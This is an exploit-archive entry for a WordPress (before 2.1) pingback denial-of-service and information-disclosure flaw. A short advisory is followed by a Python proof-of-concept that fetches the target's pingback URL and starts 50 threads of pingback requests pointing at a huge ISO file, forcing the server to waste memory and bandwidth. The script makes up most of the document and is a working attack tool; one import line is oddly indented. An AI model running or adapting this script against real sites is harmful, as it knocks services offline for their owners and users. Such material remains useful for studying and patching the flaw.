source: http://www.securityfocus.com/bid/22220/info

WordPress is prone to a denial-of-service vulnerability and an information-disclosure vulnerability.

Attackers can exploit these issues to consume memory and bandwidth resources, denying service to legitimate users, or to gain information that may aid in further attacks.

Versions prior to WordPress 2.1 are vulnerable. 

#!/bin/env python
# vim:ft=python:fileencoding=utf-8
#
from xmlrpclib import ServerProxy
from urllib import urlopen
from random import randint
	from threading import Thread
 	
# Define target
targetURL = "http://www.example.com/file.html"
hugeFile  = "http://www.example.com/path-to-a-big-iso-file-from-a-major-linux-distribution.iso#i%d"
 	
# Fetch Pingback-URL
pingbackURL =  urlopen(targetURL).headers["X-Pingback"]
print "Target URL: %s\nPingback:   %s" % (targetURL, pingbackURL)
 	
# Attack
def attack():
  server = ServerProxy(pingbackURL)
  try: server.pingback.ping(hugeFile % randint(10, 1000), targetURL)
  except: pass
for i in range(50):
  Thread(target=attack).start()
print "-- attacking --"